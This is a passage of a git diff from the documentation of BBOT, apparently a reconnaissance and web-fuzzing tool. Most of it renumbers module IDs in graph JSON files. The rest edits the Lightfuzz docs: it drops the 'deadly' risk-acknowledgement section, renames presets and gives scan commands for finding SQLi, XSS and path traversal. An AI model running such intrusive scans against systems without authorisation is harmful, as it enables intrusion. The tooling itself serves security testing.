- 110, - 113, + 93, + 97, + 105, + 109, + 112, + 114, 115, - 116, - 120, - 127, - 131, - 133, + 119, + 126, + 130, + 132, + 134, 135, - 136, + 139, 140, 141, 142, - 143, 146, 150, 151, - 153, - 154, - 156 + 152, + 154 ] }, { @@ -175,8 +174,8 @@ "parent": 88888888, "consumes": [ 21, - 140, - 144 + 139, + 143 ], "produces": [] }, @@ -193,12 +192,12 @@ 59, 63, 69, - 86, - 98, - 121, - 132, - 137, - 141 + 85, + 97, + 120, + 131, + 136, + 140 ] }, { @@ -206,8 +205,8 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ + 103, 104, - 105, 147, 148 ], @@ -215,11 +214,11 @@ 8, 64, 77, + 81, 82, - 83, - 87, - 104, - 126, + 86, + 103, + 125, 148 ] }, @@ -229,7 +228,7 @@ "parent": 88888888, "consumes": [ 15, - 158 + 156 ], "produces": [ 1, @@ -247,37 +246,37 @@ 36, 68, 80, - 81, - 89, - 93, - 95, - 97, + 88, + 92, + 94, + 96, + 106, 107, 108, - 109, - 111, + 110, + 112, 113, - 114, + 127, 128, - 129, + 133, 134, - 135, - 138, - 140, + 137, + 139, + 144, 145, 147, 149, - 159 + 158 ] }, { - "id": 101, + "id": 100, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 100, - 103 + 99, + 102 ] }, { @@ -301,21 +300,21 @@ 68, 71, 77, - 89, - 95, + 88, + 94, + 110, 111, 112, - 113, + 116, 117, 118, - 119, - 140, - 145, + 139, + 144, 147, - 159 + 158 ], "produces": [ - 96 + 95 ] }, { @@ -326,30 +325,30 @@ 11, 15, 39, - 100, + 99, + 101, 102, - 103, - 112, - 123, + 111, + 122, + 133, 134, - 135, - 140 + 139 ], "produces": [ 15, 39, 62, - 102, - 140 + 101, + 139 ] }, { - "id": 124, + "id": 123, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 123, - 140 + 122, + 139 ], "produces": [] }, @@ -361,7 +360,7 @@ 8 ], "produces": [ - 90 + 89 ] }, { @@ -371,18 +370,18 @@ "consumes": [ 15, 78, - 96, - 112, - 122, - 141 + 95, + 111, + 121, + 140 ], "produces": [ 15, 39, - 123, + 122, + 133, 134, - 135, - 140 + 139 ] }, { @@ -392,7 +391,7 @@ "consumes": [], "produces": [ 39, - 134 + 133 ] }, { @@ -401,12 +400,12 @@ "parent": 88888888, "consumes": [ 65, - 85, - 90, - 125 + 84, + 89, + 124 ], "produces": [ - 140 + 139 ] }, { @@ -424,9 +423,9 @@ "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 107, - 109, - 112 + 106, + 108, + 111 ], "produces": [ 39, @@ -453,7 +452,7 @@ 147 ], "produces": [ - 105 + 104 ] }, { @@ -462,18 +461,18 @@ "parent": 88888888, "consumes": [ 65, - 85, + 84, + 87, 88, - 89, - 91, - 125, - 140 + 90, + 124, + 139 ], "produces": [ 65, - 86, - 89, - 139 + 85, + 88, + 138 ] }, { @@ -488,7 +487,7 @@ 31, 32, 33, - 140 + 139 ], "produces": [ 28, @@ -504,21 +503,22 @@ "parent": 88888888, "consumes": [ 15, - 89, - 158, - 159 + 88, + 145, + 156, + 158 ], "produces": [ 1, 26, 39, 68, - 89, - 91, - 114, + 88, + 90, + 113, + 133, 134, - 135, - 159 + 158 ] }, { @@ -533,27 +533,25 @@ 36, 74, 80, - 81, - 91, - 93, - 96, - 99, - 108, + 90, + 92, + 95, + 98, + 107, + 112, 113, - 114, - 122, - 130, - 138, - 140, - 145, + 121, + 129, + 137, + 139, + 144, 149, - 151, - 155, - 158 + 153, + 156 ], "produces": [ - 91, - 96 + 90, + 95 ] }, { @@ -564,7 +562,7 @@ 75 ], "produces": [ - 99 + 98 ] }, { @@ -574,12 +572,13 @@ "consumes": [ 44, 77, - 96, - 115, - 122, - 129, + 95, + 114, + 121, + 128, + 138, 139, - 140 + 145 ], "produces": [ 18, @@ -593,14 +592,14 @@ 71, 74, 75, - 84, - 91, - 98, - 130, - 132, + 83, + 90, + 97, + 129, + 131, 150, - 156, - 159 + 154, + 158 ] }, { @@ -608,7 +607,7 @@ "name": "USERNAME", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [ 46, @@ -616,15 +615,13 @@ ] }, { - "id": 152, + "id": 157, "name": "VHOST", "parent": 88888888, "consumes": [ - 158 + 156 ], - "produces": [ - 151 - ] + "produces": [] }, { "id": 17, @@ -634,16 +631,16 @@ 15 ], "produces": [ - 155 + 153 ] }, { - "id": 92, + "id": 91, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 91 + 90 ] }, { @@ -651,19 +648,19 @@ "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 97, - 108, + 96, + 107, + 116, 117, 118, - 119, - 128, - 157 + 127, + 155 ], "produces": [ 71, + 116, 117, - 118, - 119 + 118 ] }, { @@ -1278,17 +1275,6 @@ }, { "id": 80, - "name": "generic_ssrf", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 4 - ] - }, - { - "id": 81, "name": "git", "parent": 99999999, "consumes": [ @@ -1300,7 +1286,7 @@ ] }, { - "id": 82, + "id": 81, "name": "git_clone", "parent": 99999999, "consumes": [ @@ -1311,7 +1297,7 @@ ] }, { - "id": 83, + "id": 82, "name": "gitdumper", "parent": 99999999, "consumes": [ @@ -1322,7 +1308,7 @@ ] }, { - "id": 84, + "id": 83, "name": "github_codesearch", "parent": 99999999, "consumes": [ @@ -1334,7 +1320,7 @@ ] }, { - "id": 85, + "id": 84, "name": "github_org", "parent": 99999999, "consumes": [ @@ -1346,7 +1332,7 @@ ] }, { - "id": 86, + "id": 85, "name": "github_usersearch", "parent": 99999999, "consumes": [ @@ -1358,7 +1344,7 @@ ] }, { - "id": 87, + "id": 86, "name": "github_workflows", "parent": 99999999, "consumes": [ @@ -1369,7 +1355,7 @@ ] }, { - "id": 88, + "id": 87, "name": "gitlab_com", "parent": 99999999, "consumes": [ @@ -1380,7 +1366,7 @@ ] }, { - "id": 89, + "id": 88, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ @@ -1396,7 +1382,7 @@ ] }, { - "id": 90, + "id": 89, "name": "google_playstore", "parent": 99999999, "consumes": [ @@ -1408,7 +1394,7 @@ ] }, { - "id": 91, + "id": 90, "name": "gowitness", "parent": 99999999, "consumes": [ @@ -1419,11 +1405,11 @@ 5, 3, 20, - 92 + 91 ] }, { - "id": 93, + "id": 92, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1434,7 +1420,7 @@ ] }, { - "id": 94, + "id": 93, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1445,7 +1431,7 @@ ] }, { - "id": 95, + "id": 94, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1456,7 +1442,7 @@ ] }, { - "id": 96, + "id": 95, "name": "httpx", "parent": 99999999, "consumes": [ @@ -1470,7 +1456,7 @@ ] }, { - "id": 97, + "id": 96, "name": "hunt", "parent": 99999999, "consumes": [ @@ -1481,7 +1467,7 @@ ] }, { - "id": 98, + "id": 97, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1494,7 +1480,7 @@ ] }, { - "id": 99, + "id": 98, "name": "iis_shortnames", "parent": 99999999, "consumes": [ @@ -1505,18 +1491,18 @@ ] }, { - "id": 100, + "id": 99, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 101 + 100 ] }, { - "id": 102, + "id": 101, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1527,18 +1513,18 @@ ] }, { - "id": 103, + "id": 102, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 101 + 100 ] }, { - "id": 104, + "id": 103, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1549,7 +1535,7 @@ ] }, { - "id": 105, + "id": 104, "name": "kreuzberg", "parent": 99999999, "consumes": [ @@ -1560,7 +1546,7 @@ ] }, { - "id": 106, + "id": 105, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1571,7 +1557,7 @@ ] }, { - "id": 107, + "id": 106, "name": "legba", "parent": 99999999, "consumes": [ @@ -1582,7 +1568,7 @@ ] }, { - "id": 108, + "id": 107, "name": "lightfuzz", "parent": 99999999, "consumes": [ @@ -1594,7 +1580,7 @@ ] }, { - "id": 109, + "id": 108, "name": "medusa", "parent": 99999999, "consumes": [ @@ -1605,7 +1591,7 @@ ] }, { - "id": 110, + "id": 109, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1616,7 +1602,7 @@ ] }, { - "id": 111, + "id": 110, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1627,7 +1613,7 @@ ] }, { - "id": 112, + "id": 111, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1640,7 +1626,7 @@ "produces": [] }, { - "id": 113, + "id": 112, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1653,7 +1639,7 @@ ] }, { - "id": 114, + "id": 113, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1665,7 +1651,7 @@ ] }, { - "id": 115, + "id": 114, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1677,7 +1663,7 @@ ] }, { - "id": 116, + "id": 115, "name": "otx", "parent": 99999999, "consumes": [ @@ -1688,7 +1674,7 @@ ] }, { - "id": 117, + "id": 116, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ @@ -1700,7 +1686,7 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ @@ -1712,7 +1698,7 @@ ] }, { - "id": 119, + "id": 118, "name": "paramminer_headers", "parent": 99999999, "consumes": [ @@ -1724,7 +1710,7 @@ ] }, { - "id": 120, + "id": 119, "name": "passivetotal", "parent": 99999999, "consumes": [ @@ -1735,7 +1721,7 @@ ] }, { - "id": 121, + "id": 120, "name": "pgp", "parent": 99999999, "consumes": [ @@ -1746,7 +1732,7 @@ ] }, { - "id": 122, + "id": 121, "name": "portfilter", "parent": 99999999, "consumes": [ @@ -1757,20 +1743,20 @@ "produces": [] }, { - "id": 123, + "id": 122, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 124 + 123 ], "produces": [ 16 ] }, { - "id": 125, + "id": 124, "name": "postman", "parent": 99999999, "consumes": [ @@ -1782,7 +1768,7 @@ ] }, { - "id": 126, + "id": 125, "name": "postman_download", "parent": 99999999, "consumes": [ @@ -1793,7 +1779,7 @@ ] }, { - "id": 127, + "id": 126, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1804,7 +1790,7 @@ ] }, { - "id": 128, + "id": 127, "name": "reflected_parameters", "parent": 99999999, "consumes": [ @@ -1815,7 +1801,7 @@ ] }, { - "id": 129, + "id": 128, "name": "retirejs", "parent": 99999999, "consumes": [ @@ -1826,7 +1812,7 @@ ] }, { - "id": 130, + "id": 129, "name": "robots", "parent": 99999999, "consumes": [ @@ -1837,7 +1823,7 @@ ] }, { - "id": 131, + "id": 130, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1848,7 +1834,7 @@ ] }, { - "id": 132, + "id": 131, "name": "securitytxt", "parent": 99999999, "consumes": [ @@ -1860,7 +1846,7 @@ ] }, { - "id": 133, + "id": 132, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1871,14 +1857,13 @@ ] }, { - "id": 134, + "id": 133, "name": "shodan_enterprise", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 13, 4, 16, 40, @@ -1886,7 +1871,7 @@ ] }, { - "id": 135, + "id": 134, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1901,7 +1886,7 @@ ] }, { - "id": 136, + "id": 135, "name": "sitedossier", "parent": 99999999, "consumes": [ @@ -1912,7 +1897,7 @@ ] }, { - "id": 137, + "id": 136, "name": "skymem", "parent": 99999999, "consumes": [ @@ -1923,7 +1908,7 @@ ] }, { - "id": 138, + "id": 137, "name": "smuggler", "parent": 99999999, "consumes": [ @@ -1934,7 +1919,7 @@ ] }, { - "id": 139, + "id": 138, "name": "social", "parent": 99999999, "consumes": [ @@ -1945,7 +1930,7 @@ ] }, { - "id": 140, + "id": 139, "name": "speculate", "parent": 99999999, "consumes": [ @@ -1954,7 +1939,7 @@ 22, 2, 12, - 124, + 123, 67, 24, 3, @@ -1970,7 +1955,7 @@ ] }, { - "id": 141, + "id": 140, "name": "sslcert", "parent": 99999999, "consumes": [ @@ -1982,7 +1967,7 @@ ] }, { - "id": 142, + "id": 141, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -1993,7 +1978,7 @@ ] }, { - "id": 143, + "id": 142, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -2004,7 +1989,7 @@ ] }, { - "id": 144, + "id": 143, "name": "subdomains", "parent": 99999999, "consumes": [ @@ -2014,7 +1999,7 @@ "produces": [] }, { - "id": 145, + "id": 144, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2025,6 +2010,19 @@ 4 ] }, + { + "id": 145, + "name": "trajan", + "parent": 99999999, + "consumes": [ + 45, + 5, + 20 + ], + "produces": [ + 4 + ] + }, { "id": 146, "name": "trickest", @@ -2086,18 +2084,6 @@ }, { "id": 151, - "name": "vhost", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 7, - 152 - ] - }, - { - "id": 153, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2108,7 +2094,7 @@ ] }, { - "id": 154, + "id": 152, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2119,7 +2105,7 @@ ] }, { - "id": 155, + "id": 153, "name": "wafw00f", "parent": 99999999, "consumes": [ @@ -2130,7 +2116,7 @@ ] }, { - "id": 156, + "id": 154, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2142,7 +2128,7 @@ ] }, { - "id": 157, + "id": 155, "name": "web_parameters", "parent": 99999999, "consumes": [ @@ -2151,19 +2137,19 @@ "produces": [] }, { - "id": 158, + "id": 156, "name": "web_report", "parent": 99999999, "consumes": [ 4, 5, 3, - 152 + 157 ], "produces": [] }, { - "id": 159, + "id": 158, "name": "wpscan", "parent": 99999999, "consumes": [ diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index f2ba8fe5c9..f20fef2f11 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -769,878 +769,873 @@ "target": 3, "type": "consumes" }, - { - "source": 4, - "target": 80, - "type": "produces" - }, - { - "source": 81, - "target": 3, - "type": "consumes" - }, { "source": 45, - "target": 81, + "target": 80, "type": "produces" }, { "source": 4, - "target": 81, + "target": 80, "type": "produces" }, { - "source": 82, + "source": 81, "target": 45, "type": "consumes" }, { "source": 10, - "target": 82, + "target": 81, "type": "produces" }, { - "source": 83, + "source": 82, "target": 45, "type": "consumes" }, { "source": 10, - "target": 83, + "target": 82, "type": "produces" }, { - "source": 84, + "source": 83, "target": 7, "type": "consumes" }, { "source": 45, - "target": 84, + "target": 83, "type": "produces" }, { "source": 20, - "target": 84, + "target": 83, "type": "produces" }, { - "source": 85, + "source": 84, "target": 66, "type": "consumes" }, { - "source": 85, + "source": 84, "target": 67, "type": "consumes" }, { "source": 45, - "target": 85, + "target": 84, "type": "produces" }, { - "source": 86, + "source": 85, "target": 7, "type": "consumes" }, { "source": 47, - "target": 86, + "target": 85, "type": "produces" }, { "source": 67, - "target": 86, + "target": 85, "type": "produces" }, { - "source": 87, + "source": 86, "target": 45, "type": "consumes" }, { "source": 10, - "target": 87, + "target": 86, "type": "produces" }, { - "source": 88, + "source": 87, "target": 67, "type": "consumes" }, { "source": 45, - "target": 88, + "target": 87, "type": "produces" }, { - "source": 89, + "source": 88, "target": 2, "type": "consumes" }, { - "source": 89, + "source": 88, "target": 67, "type": "consumes" }, { - "source": 89, + "source": 88, "target": 5, "type": "consumes" }, { "source": 45, - "target": 89, + "target": 88, "type": "produces" }, { "source": 4, - "target": 89, + "target": 88, "type": "produces" }, { "source": 67, - "target": 89, + "target": 88, "type": "produces" }, { "source": 5, - "target": 89, + "target": 88, "type": "produces" }, { - "source": 90, + "source": 89, "target": 45, "type": "consumes" }, { - "source": 90, + "source": 89, "target": 66, "type": "consumes" }, { "source": 9, - "target": 90, + "target": 89, "type": "produces" }, { - "source": 91, + "source": 90, "target": 67, "type": "consumes" }, { - "source": 91, + "source": 90, "target": 3, "type": "consumes" }, { "source": 5, - "target": 91, + "target": 90, "type": "produces" }, { "source": 3, - "target": 91, + "target": 90, "type": "produces" }, { "source": 20, - "target": 91, + "target": 90, "type": "produces" }, { - "source": 92, - "target": 91, + "source": 91, + "target": 90, "type": "produces" }, { - "source": 93, + "source": 92, "target": 3, "type": "consumes" }, { "source": 4, - "target": 93, + "target": 92, "type": "produces" }, { - "source": 94, + "source": 93, "target": 7, "type": "consumes" }, { "source": 7, - "target": 94, + "target": 93, "type": "produces" }, { - "source": 95, + "source": 94, "target": 2, "type": "consumes" }, { "source": 4, - "target": 95, + "target": 94, "type": "produces" }, { - "source": 96, + "source": 95, "target": 16, "type": "consumes" }, { - "source": 96, + "source": 95, "target": 3, "type": "consumes" }, { - "source": 96, + "source": 95, "target": 20, "type": "consumes" }, { "source": 2, - "target": 96, + "target": 95, "type": "produces" }, { "source": 3, - "target": 96, + "target": 95, "type": "produces" }, { - "source": 97, + "source": 96, "target": 73, "type": "consumes" }, { "source": 4, - "target": 97, + "target": 96, "type": "produces" }, { - "source": 98, + "source": 97, "target": 7, "type": "consumes" }, { "source": 7, - "target": 98, + "target": 97, "type": "produces" }, { "source": 47, - "target": 98, + "target": 97, "type": "produces" }, { "source": 20, - "target": 98, + "target": 97, "type": "produces" }, { - "source": 99, + "source": 98, "target": 3, "type": "consumes" }, { "source": 76, - "target": 99, + "target": 98, "type": "produces" }, { - "source": 100, + "source": 99, "target": 12, "type": "consumes" }, { - "source": 101, - "target": 100, + "source": 100, + "target": 99, "type": "produces" }, { - "source": 102, + "source": 101, "target": 12, "type": "consumes" }, { "source": 12, - "target": 102, + "target": 101, "type": "produces" }, { - "source": 103, + "source": 102, "target": 12, "type": "consumes" }, { - "source": 101, - "target": 103, + "source": 100, + "target": 102, "type": "produces" }, { - "source": 104, + "source": 103, "target": 10, "type": "consumes" }, { "source": 10, - "target": 104, + "target": 103, "type": "produces" }, { - "source": 105, + "source": 104, "target": 10, "type": "consumes" }, { "source": 72, - "target": 105, + "target": 104, "type": "produces" }, { - "source": 106, + "source": 105, "target": 7, "type": "consumes" }, { "source": 7, - "target": 106, + "target": 105, "type": "produces" }, { - "source": 107, + "source": 106, "target": 41, "type": "consumes" }, { "source": 4, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, + "source": 107, "target": 3, "type": "consumes" }, { - "source": 108, + "source": 107, "target": 73, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 41, "type": "consumes" }, { "source": 4, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, + "source": 109, "target": 7, "type": "consumes" }, { "source": 7, - "target": 110, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 2, "type": "consumes" }, { "source": 4, - "target": 111, + "target": 110, "type": "produces" }, { - "source": 112, + "source": 111, "target": 7, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 12, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 16, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 41, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 113, + "source": 112, "target": 3, "type": "consumes" }, { "source": 7, - "target": 113, + "target": 112, "type": "produces" }, { "source": 4, - "target": 113, + "target": 112, "type": "produces" }, { - "source": 114, + "source": 113, "target": 3, "type": "consumes" }, { "source": 4, - "target": 114, + "target": 113, "type": "produces" }, { "source": 5, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 7, "type": "consumes" }, { - "source": 115, + "source": 114, "target": 20, "type": "consumes" }, { "source": 7, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 7, "type": "consumes" }, { "source": 7, - "target": 116, + "target": 115, "type": "produces" }, { - "source": 117, + "source": 116, "target": 2, "type": "consumes" }, { - "source": 117, + "source": 116, "target": 73, "type": "consumes" }, { "source": 73, - "target": 117, + "target": 116, "type": "produces" }, { - "source": 118, + "source": 117, "target": 2, "type": "consumes" }, { - "source": 118, + "source": 117, "target": 73, "type": "consumes" }, { "source": 73, - "target": 118, + "target": 117, "type": "produces" }, { - "source": 119, + "source": 118, "target": 2, "type": "consumes" }, { - "source": 119, + "source": 118, "target": 73, "type": "consumes" }, { "source": 73, - "target": 119, + "target": 118, "type": "produces" }, { - "source": 120, + "source": 119, "target": 7, "type": "consumes" }, { "source": 7, - "target": 120, + "target": 119, "type": "produces" }, { - "source": 121, + "source": 120, "target": 7, "type": "consumes" }, { "source": 47, - "target": 121, + "target": 120, "type": "produces" }, { - "source": 122, + "source": 121, "target": 16, "type": "consumes" }, { - "source": 122, + "source": 121, "target": 3, "type": "consumes" }, { - "source": 122, + "source": 121, "target": 20, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 7, "type": "consumes" }, { - "source": 123, + "source": 122, "target": 12, "type": "consumes" }, { - "source": 123, - "target": 124, + "source": 122, + "target": 123, "type": "consumes" }, { "source": 16, - "target": 123, + "target": 122, "type": "produces" }, { - "source": 125, + "source": 124, "target": 66, "type": "consumes" }, { - "source": 125, + "source": 124, "target": 67, "type": "consumes" }, { "source": 45, - "target": 125, + "target": 124, "type": "produces" }, { - "source": 126, + "source": 125, "target": 45, "type": "consumes" }, { "source": 10, - "target": 126, + "target": 125, "type": "produces" }, { - "source": 127, + "source": 126, "target": 7, "type": "consumes" }, { "source": 7, - "target": 127, + "target": 126, "type": "produces" }, { - "source": 128, + "source": 127, "target": 73, "type": "consumes" }, { "source": 4, - "target": 128, + "target": 127, "type": "produces" }, { - "source": 129, + "source": 128, "target": 20, "type": "consumes" }, { "source": 4, - "target": 129, + "target": 128, "type": "produces" }, { - "source": 130, + "source": 129, "target": 3, "type": "consumes" }, { "source": 20, - "target": 130, + "target": 129, "type": "produces" }, { - "source": 131, + "source": 130, "target": 7, "type": "consumes" }, { "source": 7, - "target": 131, + "target": 130, "type": "produces" }, { - "source": 132, + "source": 131, "target": 7, "type": "consumes" }, { "source": 47, - "target": 132, + "target": 131, "type": "produces" }, { "source": 20, - "target": 132, + "target": 131, "type": "produces" }, { - "source": 133, + "source": 132, "target": 7, "type": "consumes" }, { "source": 7, - "target": 133, + "target": 132, "type": "produces" }, { - "source": 134, + "source": 133, "target": 12, "type": "consumes" }, - { - "source": 13, - "target": 134, - "type": "produces" - }, { "source": 4, - "target": 134, + "target": 133, "type": "produces" }, { "source": 16, - "target": 134, + "target": 133, "type": "produces" }, { "source": 40, - "target": 134, + "target": 133, "type": "produces" }, { "source": 5, - "target": 134, + "target": 133, "type": "produces" }, { - "source": 135, + "source": 134, "target": 7, "type": "consumes" }, { - "source": 135, + "source": 134, "target": 12, "type": "consumes" }, { "source": 7, - "target": 135, + "target": 134, "type": "produces" }, { "source": 4, - "target": 135, + "target": 134, "type": "produces" }, { "source": 16, - "target": 135, + "target": 134, "type": "produces" }, { "source": 5, - "target": 135, + "target": 134, "type": "produces" }, { - "source": 136, + "source": 135, "target": 7, "type": "consumes" }, { "source": 7, - "target": 136, + "target": 135, "type": "produces" }, { - "source": 137, + "source": 136, "target": 7, "type": "consumes" }, { "source": 47, - "target": 137, + "target": 136, "type": "produces" }, { - "source": 138, + "source": 137, "target": 3, "type": "consumes" }, { "source": 4, - "target": 138, + "target": 137, "type": "produces" }, { - "source": 139, + "source": 138, "target": 20, "type": "consumes" }, { "source": 67, - "target": 139, + "target": 138, "type": "produces" }, { - "source": 140, + "source": 139, "target": 19, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 22, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 2, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 12, "type": "consumes" }, { - "source": 140, - "target": 124, + "source": 139, + "target": 123, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 67, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 24, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 3, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 20, "type": "consumes" }, { - "source": 140, + "source": 139, "target": 50, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 139, "type": "produces" }, { "source": 4, - "target": 140, + "target": 139, "type": "produces" }, { "source": 12, - "target": 140, + "target": 139, "type": "produces" }, { "source": 16, - "target": 140, + "target": 139, "type": "produces" }, { "source": 66, - "target": 140, + "target": 139, "type": "produces" }, { - "source": 141, + "source": 140, "target": 16, "type": "consumes" }, { "source": 7, - "target": 141, + "target": 140, "type": "produces" }, { "source": 47, + "target": 140, + "type": "produces" + }, + { + "source": 141, + "target": 7, + "type": "consumes" + }, + { + "source": 7, "target": 141, "type": "produces" }, @@ -1660,28 +1655,38 @@ "type": "consumes" }, { - "source": 7, - "target": 143, - "type": "produces" + "source": 143, + "target": 22, + "type": "consumes" }, { "source": 144, - "target": 7, + "target": 2, "type": "consumes" }, { "source": 144, - "target": 22, + "target": 3, "type": "consumes" }, + { + "source": 4, + "target": 144, + "type": "produces" + }, { "source": 145, - "target": 2, + "target": 45, "type": "consumes" }, { "source": 145, - "target": 3, + "target": 5, + "type": "consumes" + }, + { + "source": 145, + "target": 20, "type": "consumes" }, { @@ -1761,7 +1766,7 @@ }, { "source": 151, - "target": 3, + "target": 7, "type": "consumes" }, { @@ -1771,102 +1776,87 @@ }, { "source": 152, - "target": 151, - "type": "produces" - }, - { - "source": 153, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 153, - "type": "produces" - }, - { - "source": 154, "target": 7, "type": "consumes" }, { "source": 7, - "target": 154, + "target": 152, "type": "produces" }, { - "source": 155, + "source": 153, "target": 3, "type": "consumes" }, { "source": 17, - "target": 155, + "target": 153, "type": "produces" }, { - "source": 156, + "source": 154, "target": 7, "type": "consumes" }, { "source": 7, - "target": 156, + "target": 154, "type": "produces" }, { "source": 20, - "target": 156, + "target": 154, "type": "produces" }, { - "source": 157, + "source": 155, "target": 73, "type": "consumes" }, { - "source": 158, + "source": 156, "target": 4, "type": "consumes" }, { - "source": 158, + "source": 156, "target": 5, "type": "consumes" }, { - "source": 158, + "source": 156, "target": 3, "type": "consumes" }, { - "source": 158, - "target": 152, + "source": 156, + "target": 157, "type": "consumes" }, { - "source": 159, + "source": 158, "target": 2, "type": "consumes" }, { - "source": 159, + "source": 158, "target": 5, "type": "consumes" }, { "source": 4, - "target": 159, + "target": 158, "type": "produces" }, { "source": 5, - "target": 159, + "target": 158, "type": "produces" }, { "source": 20, - "target": 159, + "target": 158, "type": "produces" } ] \ No newline at end of file diff --git a/docs/index.md b/docs/index.md index 7f0b9c6be6..4bedf21728 100644 --- a/docs/index.md +++ b/docs/index.md @@ -92,7 +92,7 @@ bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o . ```bash # A basic web scan includes robots.txt, storage buckets, IIS shortnames, and other non-intrusive web modules -bbot -t evilcorp.com -p subdomain-enum web-basic +bbot -t evilcorp.com -p subdomain-enum web ``` **Web spider:** diff --git a/docs/modules/lightfuzz.md b/docs/modules/lightfuzz.md index 62c260bde7..c2cf259bfe 100644 --- a/docs/modules/lightfuzz.md +++ b/docs/modules/lightfuzz.md @@ -22,10 +22,6 @@ Significant work has gone into minimizing false positives. However, due to the n If you see a false positive that you feel is occurring too often or could easily be prevented, please open a GitHub issue and we will take a look! -### Deadly module - -Lightfuzz currently has the `deadly` flag. This is applied to the most aggressive modules to enforce an additional check, requiring explicit acknowledgement of the risk using the `--allow-deadly` command line flag. - ## Findings, Severity, and Confidence All lightfuzz output is emitted as `FINDING` events. Each finding has two key attributes: **severity** and **confidence**. @@ -209,19 +205,19 @@ If you don't want to dive into those details, here are the built-in preset optio Minimal preset that checks for only the most common findings (path traversal, SQLi, XSS). Enables a select few submodules and is safest for larger scans. POST requests are disabled. -### `-p lightfuzz-medium` +### `-p lightfuzz` The default starting point. Enables all lightfuzz submodules and includes necessary config options, plus companion modules (`badsecrets`, `hunt`, `reflected_parameters`). **POST request fuzzing is disabled** — this is the most common concern for less aggressive scanning, especially on internal networks. ### `-p lightfuzz-heavy` -Everything in `lightfuzz-medium`, plus: +Everything in `lightfuzz`, plus: * **Param Miner** modules enabled for brute-force parameter discovery * POST parameter fuzzing enabled * Slightly increased spider settings -### `-p lightfuzz-superheavy` +### `-p lightfuzz-max` Everything in `lightfuzz-heavy`, plus: @@ -239,10 +235,10 @@ A focused preset for XSS hunting. Enables only the `xss` submodule with `parammi We *strongly* recommend running Lightfuzz with the spider enabled, as this will dramatically increase the number of parameters discovered. If you don't, you will see a warning reminding you. -Enable the spider by adding either the `spider` or `spider-intense` preset: +Enable the spider by adding either the `spider` or `spider-heavy` preset: ``` -bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly +bbot -p lightfuzz spider -t targets.txt ``` ## Usage @@ -250,7 +246,7 @@ bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly With presets in mind, usage is simple: ``` -bbot -p lightfuzz-medium spider -t targets.txt --allow-deadly +bbot -p lightfuzz spider -t targets.txt ``` All output from Lightfuzz will be `FINDING` events, each with a severity and confidence level. Focus your triage on confidence first — CONFIRMED and HIGH confidence findings are the most actionable, while LOW confidence findings should be treated as leads requiring manual verification. @@ -261,12 +257,12 @@ If you want a specific submodule, you can make your own preset adjusting the `mo Just XSS: ``` -bbot -p lightfuzz-medium -t 